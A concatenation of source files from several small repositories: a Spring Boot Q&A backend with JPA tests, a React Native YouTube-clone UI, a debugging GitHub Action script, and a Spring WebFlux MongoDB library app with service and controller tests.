assertThat(answerFoundById.getAnswer()).isEqualTo("General Purpose Programming Language");
assertThat(answerFoundById.getUser().getPassword()).isEqualTo(null);
}
}
<file_sep>package com.revature.vew.repositories;
import com.revature.vew.models.User;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
@Repository
public interface UserRepository extends JpaRepository<User, Integer> {
User findUserByUserId(int id);
User findUserByEmail(String email);
boolean existsByEmail(String email);
}
<file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.QuestionRanking;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class QuestionRankingRepositoryTests {
private QuestionRankingRepository questionRankingRepository;
@Autowired
public QuestionRankingRepositoryTests(QuestionRankingRepository questionRankingRepository) {
this.questionRankingRepository = questionRankingRepository;
}
@Test
public void testFindAll() {
List<QuestionRanking> questionRankings = questionRankingRepository.findAll();
assertThat(questionRankings.size()).isEqualTo(3);
}
}
<file_sep>package com.revature.vew.repositories;
import static org.assertj.core.api.Assertions.assertThat;
import com.revature.vew.models.Question;
import com.revature.vew.models.QuestionComment;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import java.util.List;
@ActiveProfiles("repository") // This sets profile to repository which means the Command Line Runner Bean will be run.
@DataJpaTest
public class QuestionCommentRepositoryTests {
private QuestionCommentRepository questionCommentRepository;
@Autowired
public QuestionCommentRepositoryTests(QuestionCommentRepository questionCommentRepository) {
this.questionCommentRepository = questionCommentRepository;
}
@Test
public void testFindAll() {
List<QuestionComment> allQuestionComments = questionCommentRepository.findAll();
assertThat(allQuestionComments.size()).isEqualTo(3);
}
@Test
public void testFindRelevantInfoQuestionCommentsByQuestion() {
Question question = new Question(1);
List<QuestionComment> onlyCommentsForOneQuestion =
questionCommentRepository.findRelevantInfoQuestionCommentsByQuestion(question);
assertThat(onlyCommentsForOneQuestion.size()).isEqualTo(2);
assertThat(onlyCommentsForOneQuestion.get(0).getUser().getPassword()).isEqualTo(null);
}
}
<file_sep>package com.revature.vew.models;
import javax.persistence.*;
import java.util.Date;
@Entity
@Table(name = "question_comments")
public class QuestionComment extends Auditable<String> {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "question_comment_id")
private int questionCommentId;
@ManyToOne
@JoinColumn(name = "user_id", nullable = false)
private User user;
@ManyToOne
@JoinColumn(name = "question_id", nullable = false)
private Question question;
@Column(name = "comment", nullable = false)
private String comment;
public QuestionComment() { }
public QuestionComment(User user, Question question, String comment) {
this.user = user;
this.question = question;
this.comment = comment;
}
public QuestionComment(int questionCommentId, String comment, Date creationDate, Date lastModifiedDate, int questionId,
int userId, String firstName, String lastName) {
User user = new User(userId, firstName, lastName);
Question question = new Question(questionId);
this.questionCommentId = questionCommentId;
this.comment = comment;
this.creationDate = creationDate;
this. lastModifiedDate = lastModifiedDate;
this.user = user;
this.question = question;
}
public int getQuestionCommentId() {
return questionCommentId;
}
public void setQuestionCommentId(int questionCommentId) {
this.questionCommentId = questionCommentId;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public Question getQuestion() {
return question;
}
public void setQuestion(Question question) {
this.question = question;
}
public String getComment() {
return comment;
}
public void setComment(String comment) {
this.comment = comment;
}
@Override
public String toString() {
return "QuestionComment{" +
"questionCommentId=" + questionCommentId +
", user=" + user +
", question=" + question +
", comment='" + comment + '\'' +
", creationDate=" + creationDate +
", lastModifiedDate=" + lastModifiedDate +
'}';
}
}
<file_sep>package com.revature.vew.models;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNull;
import static org.junit.jupiter.api.Assertions.assertSame;
import static org.junit.jupiter.api.Assertions.assertTrue;
import java.util.HashSet;
import java.util.Set;
import org.junit.jupiter.api.Test;
public class TagTest {
@Test
public void testConstructor() {
Tag actualTag = new Tag();
assertEquals("Tag{tagId=0, tag='null'}", actualTag.toString());
assertNull(actualTag.getTag());
Set<Question> questions = actualTag.getQuestions();
assertTrue(questions instanceof java.util.HashSet);
assertEquals(0, actualTag.getTagId());
assertEquals(0, questions.size());
}
@Test
public void testConstructor2() {
assertEquals("Tag", (new Tag("Tag")).getTag());
}
@Test
public void testSetTagId() {
Tag tag = new Tag();
tag.setTagId(123);
assertEquals(123, tag.getTagId());
}
@Test
public void testSetTag() {
Tag tag = new Tag();
tag.setTag("Tag");
assertEquals("Tag", tag.getTag());
}
@Test
public void testSetQuestions() {
Tag tag = new Tag();
HashSet<Question> questionSet = new HashSet<Question>();
tag.setQuestions(questionSet);
assertSame(questionSet, tag.getQuestions());
}
@Test
public void testToString() {
assertEquals("Tag{tagId=0, tag='null'}", (new Tag()).toString());
}
}
| 44b4ffbe0e7d0f451ca409512cd9e1b7452bfce7 | [
"Markdown",
"Java",
"Dockerfile",
"INI"
] | 28 | Java | Revature-VEW/VEW-Backend | 5faf913dcbc0cef28c7fd4f5db9cd0b9dc2aa30a | 000e9098251805cf9257c6486fde459abcb1ec81 |
refs/heads/main | <repo_name>johanalim/youtube-native<file_sep>/src/screens/Explore.js
import React from 'react'
import { StyleSheet, Text, View, FlatList,ScrollView } from 'react-native'
import Header from'../components/Header'
import Card from "../components/Card";
import { useSelector } from "react-redux";
const LittleCard = ({name}) => {
const cardData = useSelector(state=>{
return state
})
return (
<View style={styles.littleCardContainer}>
<Text style={styles.LittleCardText}>{name}</Text>
</View>
)
}
const Explore = () => {
const cardData = useSelector(state=>{
return state
})
return (
<View style={styles.ExploreContainer}>
<Header/>
<ScrollView>
<View style={styles.CardPack}>
<LittleCard name="Gaming"/>
<LittleCard name="Trending"/>
<LittleCard name="News"/>
<LittleCard name="Music"/>
<LittleCard name="Movies"/>
<LittleCard name="Fashion"/>
</View>
<Text style={styles}>
Trending Videos
</Text>
<FlatList
data={cardData}
renderItem={({item})=>{
return <Card
videoId={item.id.videoId}
title={item.snippet.title}
channel={item.snippet.changeTitle}
/>
}}
keyExtractor={item=>item.id.videoId}
/>
</ScrollView>
</View>
)
}
export default Explore
const styles = StyleSheet.create({
littleCardContainer:{
backgroundColor:"red",
height:50,
width:180,
borderRadius:4,
marginTop:10,
},
LittleCardText:{
textAlign:'center',
color:'white',
fontSize:22,
marginTop:5,
},
ExploreContainer:{
flex:1,
},
CardPack:{
flexDirection:"row",
flexWrap:"wrap",
justifyContent:'space-around',
}
})
<file_sep>/src/components/MiniCard.js
import React from 'react'
import { Dimensions, StyleSheet, Text, View,Image, TouchableOpacity } from 'react-native'
import { useNavigation } from '@react-navigation/native';
const MiniCard = (props) => {
const navigation = useNavigation();
return (
<TouchableOpacity
onPress={()=>navigation.navigate("videoplayer",{videoId:props.videoId,title:props.title})}>
<View style={styles.container}>
<Image
source={{uri:`http://i.ytimg.com/vi/${props.videoId}/maxresdefault.jpg`}}
style={styles.cardImage}
/>
<View style={styles.cardContainer}>
<Text
style={styles.cardText}
ellipsizeMode="tail"
numberOfLines={3}
>{props.title}
</Text>
<Text>{props.channel}</Text>
</View>
</View>
</TouchableOpacity>
)
}
export default MiniCard
const styles = StyleSheet.create({
container:{
flexDirection:'row',
margin:10,
marginBottom:0,
},
cardImage:{
width:"45%",
height:100,
},
cardContainer:{
paddingLeft:7,
},
cardText:{
fontSize:17,
width:Dimensions.get("screen").width/2
}
})
<file_sep>/src/components/Header.js
import React from 'react'
import { View, StyleSheet, Text } from 'react-native'
import { AntDesign, Ionicons, MaterialIcons } from "@expo/vector-icons";
import Constant from 'expo-constants'
import { useNavigation } from '@react-navigation/core';
export default function Header() {
const navigation = useNavigation()
return (
<View style={styles.header}>
<View style={styles.title}>
<AntDesign style={styles.logo} name="youtube" size={32} color="red"/>
<Text style={styles.text}>Youtube</Text>
</View>
<View style={styles.sidelogo}>
<Ionicons
name="md-videocam"
size={32}
color={mycolor}/>
<Ionicons
name="md-search"
size={32}
color={mycolor}
onPress={()=>navigation.navigate("search")}/>
<MaterialIcons name="account-circle" size={32} color={mycolor}/>
</View>
</View>
)
}
const mycolor = "#212121"
const styles = StyleSheet.create({
header:{
marginTop:Constant.statusBarHeight,
height:45,
backgroundColor:"white",
flexDirection:"row",
justifyContent:'space-between',
elevation:4,
shadowOffset:{ width:0, height:1,},
shadowColor:'grey',
shadowOpacity:1.0,
},
title:{
flexDirection:"row",
margin:5,
},
text:{
fontSize:22,
marginLeft:5,
fontWeight:'bold',
},
logo:{
marginLeft:20,
},
sidelogo:{
flexDirection:'row',
justifyContent:'space-around',
width:150,
margin:5,
}
}); | 691a44a0bfd481c3bcd6bb633063a85009c4957b | [
"JavaScript"
] | 3 | JavaScript | johanalim/youtube-native | 7eafa71266d6e5432dca15df037bf736594c3c05 | 1f30d5c91445ec8721f1beb7133a2de69ed16189 |
refs/heads/master | <repo_name>jhassine/test-github-action<file_sep>/entrypoint.sh
#!/usr/bin/env sh
set +e
function print () {
sleep 1
echo "Folder: $1"
ls -lar $1
echo ""
}
print "/opt/hostedtoolcache"
print "/github/workspace"
print "/github/workflow"
print "/home/runner/work/test-github-workflow"
print "/github/home"
echo "ENVs:"
env
docker run --rm busybox echo "hello world"<file_sep>/Dockerfile
FROM docker/compose:1.25.4
COPY entrypoint.sh /usr/bin/entrypoint.sh
COPY action.md .
ENTRYPOINT [ "/usr/bin/entrypoint.sh" ]
CMD [""]
| 332310e66322bc27628c0f179f28c1f951dd685a | [
"Dockerfile",
"Shell"
] | 2 | Shell | jhassine/test-github-action | 29518ab7489aaf89e611c5a0976ac057e3cc7fa9 | 6e4a32bd9df71742e7b160674ee6939d51dbc1d4 |
refs/heads/master | <file_sep>package com.springfreamwork.webflux.domain.dto;
import com.springfreamwork.webflux.domain.model.Book;
import com.springfreamwork.webflux.domain.model.Comment;
import java.util.List;
import java.util.Objects;
import java.util.Set;
public class CommentDataDTO {
private String id;
private String username;
private String comment;
private Set<Book> books;
private List<Book> allBooks;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getComment() {
return comment;
}
public void setComment(String comment) {
this.comment = comment;
}
public Set<Book> getBooks() {
return books;
}
public void setBooks(Set<Book> books) {
this.books = books;
}
public List<Book> getAllBooks() {
return allBooks;
}
public void setAllBooks(List<Book> allBooks) {
this.allBooks = allBooks;
}
public static CommentDataDTO getCommentDataDTO(Comment comment, List<Book> allBooks) {
CommentDataDTO commentDataDTO = new CommentDataDTO();
if (comment != null) {
commentDataDTO.setId(comment.getId());
commentDataDTO.setUsername(comment.getUsername());
commentDataDTO.setComment(comment.getComment());
commentDataDTO.setBooks(comment.getBooks());
}
commentDataDTO.setAllBooks(allBooks);
return commentDataDTO;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof CommentDataDTO)) return false;
CommentDataDTO that = (CommentDataDTO) o;
return Objects.equals(getId(), that.getId()) &&
Objects.equals(getUsername(), that.getUsername()) &&
Objects.equals(getComment(), that.getComment()) &&
Objects.equals(getBooks(), that.getBooks()) &&
Objects.equals(getAllBooks(), that.getAllBooks());
}
@Override
public int hashCode() {
return Objects.hash(getId(), getUsername(), getComment(), getBooks(), getAllBooks());
}
}
<file_sep>package com.springfreamwork.webflux.domain.dao;
import com.springfreamwork.webflux.domain.model.Genre;
import org.springframework.data.mongodb.repository.ReactiveMongoRepository;
import reactor.core.publisher.Mono;
public interface GenreRepository extends ReactiveMongoRepository<Genre,String> {
Mono<Genre> findByName(String name);
}
<file_sep>package com.springfreamwork.webflux.com.controllers;
import com.springfreamwork.webflux.domain.dto.LibraryDTO;
import com.springfreamwork.webflux.domain.servicies.AuthorService;
import com.springfreamwork.webflux.domain.servicies.BookService;
import com.springfreamwork.webflux.domain.servicies.CommentService;
import com.springfreamwork.webflux.domain.servicies.GenreService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Mono;
@RestController
public class LibraryController {
private final GenreService genreService;
private final AuthorService authorService;
private final BookService bookService;
private final CommentService commentService;
@Autowired
public LibraryController(
GenreService genreService,
AuthorService authorService,
BookService bookService,
CommentService commentService
) {
this.genreService = genreService;
this.authorService = authorService;
this.bookService = bookService;
this.commentService = commentService;
}
@GetMapping("/countObjects")
public Mono<LibraryDTO> welcomePage() {
Mono<Long> countGenres = genreService.countGenres();
Mono<Long> countAuthors = authorService.countAuthors();
Mono<Long> countBooks = bookService.countBooks();
Mono<Long> countComments = commentService.countComments();
return Mono.just(new LibraryDTO())
.flatMap(libraryDTO ->
countGenres.map(g -> {
libraryDTO.setGenreCount(g);
return libraryDTO;
}))
.flatMap(libraryDTO ->
countAuthors.map(a -> {
libraryDTO.setAuthorCount(a);
return libraryDTO;
}))
.flatMap(libraryDTO ->
countBooks.map(b -> {
libraryDTO.setBookCount(b);
return libraryDTO;
}))
.flatMap(libraryDTO ->
countComments.map(c -> {
libraryDTO.setCommentCount(c);
return libraryDTO;
}));
}
}
<file_sep>package com.springfreamwork.webflux.domain.dao;
import com.springfreamwork.webflux.domain.model.Author;
import com.springfreamwork.webflux.domain.model.Book;
import com.springfreamwork.webflux.domain.model.Genre;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.data.mongodb.core.MongoTemplate;
import org.springframework.test.annotation.DirtiesContext;
import org.springframework.test.context.junit4.SpringRunner;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.test.StepVerifier;
import java.util.Collections;
import java.util.Date;
import java.util.Map;
import static com.springfreamwork.webflux.domain.model.Country.RUSSIA;
import static org.assertj.core.api.Assertions.assertThat;
import static org.springframework.test.annotation.DirtiesContext.ClassMode.BEFORE_EACH_TEST_METHOD;
@RunWith(SpringRunner.class)
@SpringBootTest
@DirtiesContext(classMode = BEFORE_EACH_TEST_METHOD)
public class BookRepositoryTest {
@Autowired
private BookRepository bookRepository;
@Autowired
private MongoTemplate mongoTemplate;
@Test
public void bookRepositoryShouldGetBookById() {
Map<Integer, String> parts = Collections.singletonMap(1, "partOne");
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Genre genre = new Genre("novel");
Book book = new Book("War And Piece", new Date(), parts, Collections.singleton(author), genre);
mongoTemplate.save(author);
mongoTemplate.save(genre);
mongoTemplate.save(book);
Mono<Book> bookFromRepo = bookRepository.findById(book.getId());
StepVerifier
.create(bookFromRepo)
.expectSubscription()
.expectNext(book)
.verifyComplete();
}
@Test
public void bookRepositoryShouldGetBookByName() {
Map<Integer, String> parts = Collections.singletonMap(1, "partOne");
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Genre genre = new Genre("novel");
Book book = new Book("War And Piece", new Date(), parts, Collections.singleton(author), genre);
mongoTemplate.save(author);
mongoTemplate.save(genre);
mongoTemplate.save(book);
Mono<Book> bookFromRepo = bookRepository.findByName(book.getName());
StepVerifier
.create(bookFromRepo)
.expectSubscription()
.expectNext(book)
.verifyComplete();
}
@Test
public void bookRepositoryShouldGetAllBooks() {
Map<Integer, String> parts = Collections.singletonMap(1, "partOne");
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Genre genre = new Genre("novel");
Book book = new Book("War And Piece", new Date(), parts, Collections.singleton(author), genre);
Book book_2 = new Book("<NAME>", new Date(), parts, Collections.singleton(author), genre);
mongoTemplate.save(author);
mongoTemplate.save(genre);
mongoTemplate.save(book);
mongoTemplate.save(book_2);
Flux<Book> books = bookRepository.findAll();
StepVerifier
.create(books)
.expectSubscription()
.expectNext(book)
.expectNext(book_2)
.verifyComplete();
}
@Test
public void bookRepositoryShouldDeleteBookById() {
Map<Integer, String> parts = Collections.singletonMap(1, "partOne");
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Genre genre = new Genre("novel");
Book book = new Book("War And Piece", new Date(), parts, Collections.singleton(author), genre);
mongoTemplate.save(author);
mongoTemplate.save(genre);
mongoTemplate.save(book);
bookRepository.deleteById(book.getId()).subscribe();
Mono<Book> bookFromRepo = bookRepository.findById(book.getId());
StepVerifier
.create(bookFromRepo)
.expectSubscription()
.verifyComplete();
}
@Test
public void bookRepositoryShouldReturnCount_2() {
Map<Integer, String> parts = Collections.singletonMap(1, "partOne");
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Genre genre = new Genre("novel");
Book book = new Book("War And Piece", new Date(), parts, Collections.singleton(author), genre);
Book book_2 = new Book("<NAME>", new Date(), parts, Collections.singleton(author), genre);
long countBefore = bookRepository.count().block();
mongoTemplate.save(author);
mongoTemplate.save(genre);
mongoTemplate.save(book);
mongoTemplate.save(book_2);
long count = bookRepository.count().block();
assertThat(count - countBefore)
.as("Checking counting books")
.isEqualTo(2);
}
}<file_sep>package com.springfreamwork.webflux.domain.servicies;
import com.springfreamwork.webflux.domain.model.Author;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.util.Set;
public interface AuthorService {
Flux<Author> getAllAuthors();
Mono<Long> countAuthors();
Mono<Void> createAuthor(Author author);
Mono<Author> getAuthorById(String authorId);
Flux<Author> getAuthorsById(Set<String> authorsId);
Mono<Void> updateAuthor(Author author);
Mono<Void> deleteAuthor(String id);
}
<file_sep>package com.springfreamwork.webflux.com.controllers;
import com.springfreamwork.webflux.domain.dto.LibraryDTO;
import com.springfreamwork.webflux.domain.servicies.AuthorService;
import com.springfreamwork.webflux.domain.servicies.BookService;
import com.springfreamwork.webflux.domain.servicies.CommentService;
import com.springfreamwork.webflux.domain.servicies.GenreService;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.reactive.WebFluxTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.web.reactive.server.WebTestClient;
import reactor.core.publisher.Mono;
import static org.mockito.Mockito.when;
@RunWith(SpringRunner.class)
@WebFluxTest(LibraryController.class)
public class LibraryControllerTest {
@Autowired
private WebTestClient webClient;
@MockBean
private GenreService genreService;
@MockBean
private AuthorService authorService;
@MockBean
private BookService bookService;
@MockBean
private CommentService commentService;
@Test
public void libraryController_shouldReturnDataOfCountObjects() {
when(genreService.countGenres()).thenReturn(Mono.just(1L));
when(bookService.countBooks()).thenReturn(Mono.just(2L));
when(authorService.countAuthors()).thenReturn(Mono.just(3L));
when(commentService.countComments()).thenReturn(Mono.just(4L));
LibraryDTO expected = new LibraryDTO();
expected.setGenreCount(1L);
expected.setBookCount(2L);
expected.setAuthorCount(3L);
expected.setCommentCount(4L);
webClient.get().uri("/countObjects")
.exchange()
.expectStatus().isOk()
.expectBody(LibraryDTO.class)
.isEqualTo(expected);
}
}<file_sep>package com.springfreamwork.webflux.com.servicies;
import com.springfreamwork.webflux.com.utility.NotFoundException;
import com.springfreamwork.webflux.domain.dao.CommentRepository;
import com.springfreamwork.webflux.domain.model.Author;
import com.springfreamwork.webflux.domain.model.Book;
import com.springfreamwork.webflux.domain.model.Comment;
import com.springfreamwork.webflux.domain.model.Genre;
import com.springfreamwork.webflux.domain.servicies.CommentService;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.test.context.junit4.SpringRunner;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.test.StepVerifier;
import java.util.Collections;
import java.util.Date;
import static com.springfreamwork.webflux.domain.model.Country.RUSSIA;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.*;
@RunWith(SpringRunner.class)
@SpringBootTest
public class CommentServiceTest {
private final Author author = new Author("author_1_id", "Leo", "Tolstoy", RUSSIA);
private final Genre genre = new Genre("genre_id", "novel");
private final Book book = new Book("book_id", "War And Piece", new Date(), 1, Collections.emptyMap(), Collections.singleton(author), genre);
private final Comment comment = new Comment("comment_id", "username", "comment", Collections.singleton(book));
@MockBean
private CommentRepository commentRepository;
@Autowired
private CommentService commentService;
@Test
public void getAllComments_shouldReturnFluxOfTestComments() {
when(commentRepository.findAll()).thenReturn(Flux.just(comment));
Flux<Comment> allComments = commentService.getAllComments();
StepVerifier
.create(allComments)
.expectSubscription()
.expectNext(comment)
.verifyComplete();
verify(commentRepository, times(1)).findAll();
}
@Test
public void countComments_shouldReturnTestCount() {
when(commentRepository.count()).thenReturn(Mono.just(2L));
Mono<Long> countBooks = commentService.countComments();
StepVerifier
.create(countBooks)
.expectSubscription()
.expectNext(2L)
.verifyComplete();
verify(commentRepository, times(1)).count();
}
@Test
public void createComment_shouldCallCreateCommentAndReturnVoid() {
when(commentRepository.save(eq(comment))).thenReturn(Mono.just(comment));
Mono<Void> bookCreation = commentService.createComment(this.comment);
StepVerifier
.create(bookCreation)
.expectSubscription()
.verifyComplete();
verify(commentRepository, times(1)).save(eq(comment));
}
@Test
public void getCommentById_shouldReturnTestComment() {
when(commentRepository.findById(eq(comment.getId()))).thenReturn(Mono.just(comment));
Mono<Comment> commentById = commentService.getCommentById(comment.getId());
StepVerifier
.create(commentById)
.expectSubscription()
.expectNext(comment)
.verifyComplete();
verify(commentRepository, times(1)).findById(eq(comment.getId()));
}
@Test
public void getCommentById_shouldThrowException_causeNoSuchComment() {
when(commentRepository.findById(eq(comment.getId()))).thenReturn(Mono.empty());
Mono<Comment> commentById = commentService.getCommentById(comment.getId());
StepVerifier
.create(commentById)
.expectSubscription()
.expectError(NotFoundException.class)
.verify();
verify(commentRepository, times(1)).findById(eq(comment.getId()));
}
@Test
public void deleteComment_shouldCallDeleteCommentRepo() {
when(commentRepository.deleteById(eq(comment.getId()))).thenReturn(Mono.empty());
Mono<Void> commentDeleting = commentService.deleteComment(comment.getId());
StepVerifier
.create(commentDeleting)
.expectSubscription()
.verifyComplete();
verify(commentRepository, times(1)).deleteById(eq(comment.getId()));
}
}<file_sep>package com.springfreamwork.webflux.domain.dao;
import com.springfreamwork.webflux.domain.model.Author;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.data.mongodb.core.MongoTemplate;
import org.springframework.test.annotation.DirtiesContext;
import org.springframework.test.context.junit4.SpringRunner;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.test.StepVerifier;
import static com.springfreamwork.webflux.domain.model.Country.RUSSIA;
import static org.assertj.core.api.Assertions.assertThat;
import static org.springframework.test.annotation.DirtiesContext.ClassMode.BEFORE_EACH_TEST_METHOD;
@SpringBootTest
@RunWith(SpringRunner.class)
@DirtiesContext(classMode = BEFORE_EACH_TEST_METHOD)
public class AuthorRepositoryTest {
@Autowired
private AuthorRepository authorRepository;
@Autowired
private MongoTemplate mongoTemplate;
@Test
public void authorRepositoryShouldGetAuthorByNameAndSurname() {
Author author = new Author("Leo", "Tolstoy", RUSSIA);
mongoTemplate.save(author);
Mono<Author> authorFromRepo = authorRepository.findByNameAndSurname("Leo", "Tolstoy");
StepVerifier
.create(authorFromRepo)
.expectSubscription()
.expectNext(author)
.verifyComplete();
}
@Test
public void authorRepositoryShouldGetAllAuthors() {
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Author author_2 = new Author("Fyodor", "Dostoevsky", RUSSIA);
mongoTemplate.save(author);
mongoTemplate.save(author_2);
Flux<Author> authors = authorRepository.findAll();
StepVerifier
.create(authors)
.expectSubscription()
.expectNext(author)
.expectNext(author_2)
.verifyComplete();
}
@Test
public void authorRepositoryShouldDeleteAuthorById() {
Author author = new Author("Leo", "Tolstoy", RUSSIA);
mongoTemplate.save(author);
authorRepository.deleteById(author.getId()).subscribe();
Mono<Author> authorFromRepo = authorRepository.findById(author.getId());
StepVerifier
.create(authorFromRepo)
.expectSubscription()
.verifyComplete();
}
@Test
public void authorRepositoryShouldReturnCount_2() {
Author author = new Author("Leo", "Tolstoy", RUSSIA);
Author author_2 = new Author("Fyodor", "Dostoevsky", RUSSIA);
long countBefore = authorRepository.count().block();
mongoTemplate.save(author);
mongoTemplate.save(author_2);
long count = authorRepository.count().block();
assertThat(count - countBefore)
.as("Checking counting authors")
.isEqualTo(2);
}
}<file_sep>package com.springfreamwork.webflux.com.controllers;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.springfreamwork.webflux.domain.dto.BookCreateDTO;
import com.springfreamwork.webflux.domain.dto.BookDTO;
import com.springfreamwork.webflux.domain.dto.BookDataDTO;
import com.springfreamwork.webflux.domain.model.Author;
import com.springfreamwork.webflux.domain.model.Book;
import com.springfreamwork.webflux.domain.model.Genre;
import com.springfreamwork.webflux.domain.servicies.AuthorService;
import com.springfreamwork.webflux.domain.servicies.BookService;
import com.springfreamwork.webflux.domain.servicies.GenreService;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.reactive.WebFluxTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.http.MediaType;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.web.reactive.server.WebTestClient;
import org.springframework.web.reactive.function.BodyInserters;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.util.Collections;
import java.util.Date;
import static com.springfreamwork.webflux.domain.model.Country.RUSSIA;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
@RunWith(SpringRunner.class)
@WebFluxTest(BookRestController.class)
public class BookRestControllerTest {
private final Genre genre = new Genre("genre_id", "novel");
private final Author author = new Author("author_id", "Leo", "Tolstoy", RUSSIA);
private final Book book = new Book("book_id", "War And Piece", new Date(), 0, null, Collections.singleton(author), genre);
private final ObjectMapper mapper = new ObjectMapper();
@Autowired
private WebTestClient webClient;
@MockBean
private BookService bookService;
@MockBean
private AuthorService authorService;
@MockBean
private GenreService genreService;
@Test
public void bookRestController_shouldCallDeleteBook_andReturnSuccess() {
when(bookService.deleteBook(eq(book.getId()))).thenReturn(Mono.empty());
webClient.delete().uri("/deleteBook?id={id}", book.getId())
.exchange()
.expectStatus().isOk()
.expectBody(String.class)
.isEqualTo("success");
verify(bookService, times(1)).deleteBook(eq(book.getId()));
}
@Test
public void bookRestController_shouldReturnAllBooksData() throws JsonProcessingException {
when(bookService.getAllBooks()).thenReturn(Flux.just(book));
String expected = mapper.writeValueAsString(Collections.singletonList(BookDTO.getBookDTO(book)));
webClient.get().uri("/getBooks")
.exchange()
.expectStatus().isOk()
.expectBody(String.class)
.isEqualTo(expected);
verify(bookService, times(1)).getAllBooks();
}
@Test
public void bookRestController_shouldReturnBookDataWithAllAuthorsAndAllGenres() {
when(genreService.getAllGenres()).thenReturn(Flux.just(genre));
when(authorService.getAllAuthors()).thenReturn(Flux.just(author));
when(bookService.getBook(eq(book.getId()))).thenReturn(Mono.just(book));
BookDataDTO expected = BookDataDTO.getBookDataDTO(book, Collections.singletonList(author), Collections.singletonList(genre));
webClient.get().uri("/getBook?id={id}", book.getId())
.exchange()
.expectStatus().isOk()
.expectBody(BookDataDTO.class)
.isEqualTo(expected);
verify(genreService, times(1)).getAllGenres();
verify(authorService, times(1)).getAllAuthors();
verify(bookService, times(1)).getBook(eq(book.getId()));
}
@Test
public void bookRestController_shouldCallUpdateBook_andReturnSuccess() {
when(authorService.getAuthorsById(eq(Collections.singleton(author.getId())))).thenReturn(Flux.just(author));
when(genreService.getGenreById(eq(genre.getId()))).thenReturn(Mono.just(genre));
when(bookService.updateBook(any())).thenReturn(Mono.empty());
BookCreateDTO body = new BookCreateDTO();
body.setId(book.getId());
body.setDate(book.getPublishedDate());
body.setName(book.getName());
body.setAuthors(Collections.singleton(author.getId()));
body.setGenre(genre.getId());
webClient.post().uri("/editBook")
.contentType(MediaType.APPLICATION_JSON_UTF8)
.body(BodyInserters.fromObject(body))
.exchange()
.expectStatus().isOk()
.expectBody(String.class)
.isEqualTo("success");
verify(authorService, times(1)).getAuthorsById(eq(Collections.singleton(author.getId())));
verify(genreService, times(1)).getGenreById(eq(genre.getId()));
}
@Test
public void bookRestController_shouldReturnDataWithAllAuthorsAndAllGenres() {
when(genreService.getAllGenres()).thenReturn(Flux.just(genre));
when(authorService.getAllAuthors()).thenReturn(Flux.just(author));
BookDataDTO expected = BookDataDTO.getBookDataDTO(null, Collections.singletonList(author), Collections.singletonList(genre));
webClient.get().uri("/getBookData")
.exchange()
.expectStatus().isOk()
.expectBody(BookDataDTO.class)
.isEqualTo(expected);
verify(genreService, times(1)).getAllGenres();
verify(authorService, times(1)).getAllAuthors();
}
@Test
public void bookRestController_shouldCallCreateBook_andReturnSuccess() {
when(authorService.getAuthorsById(eq(Collections.singleton(author.getId())))).thenReturn(Flux.just(author));
when(genreService.getGenreById(eq(genre.getId()))).thenReturn(Mono.just(genre));
when(bookService.createBook(any())).thenReturn(Mono.empty());
BookCreateDTO body = new BookCreateDTO();
body.setId(book.getId());
body.setDate(book.getPublishedDate());
body.setName(book.getName());
body.setAuthors(Collections.singleton(author.getId()));
body.setGenre(genre.getId());
webClient.post().uri("/createBook")
.contentType(MediaType.APPLICATION_JSON_UTF8)
.body(BodyInserters.fromObject(body))
.exchange()
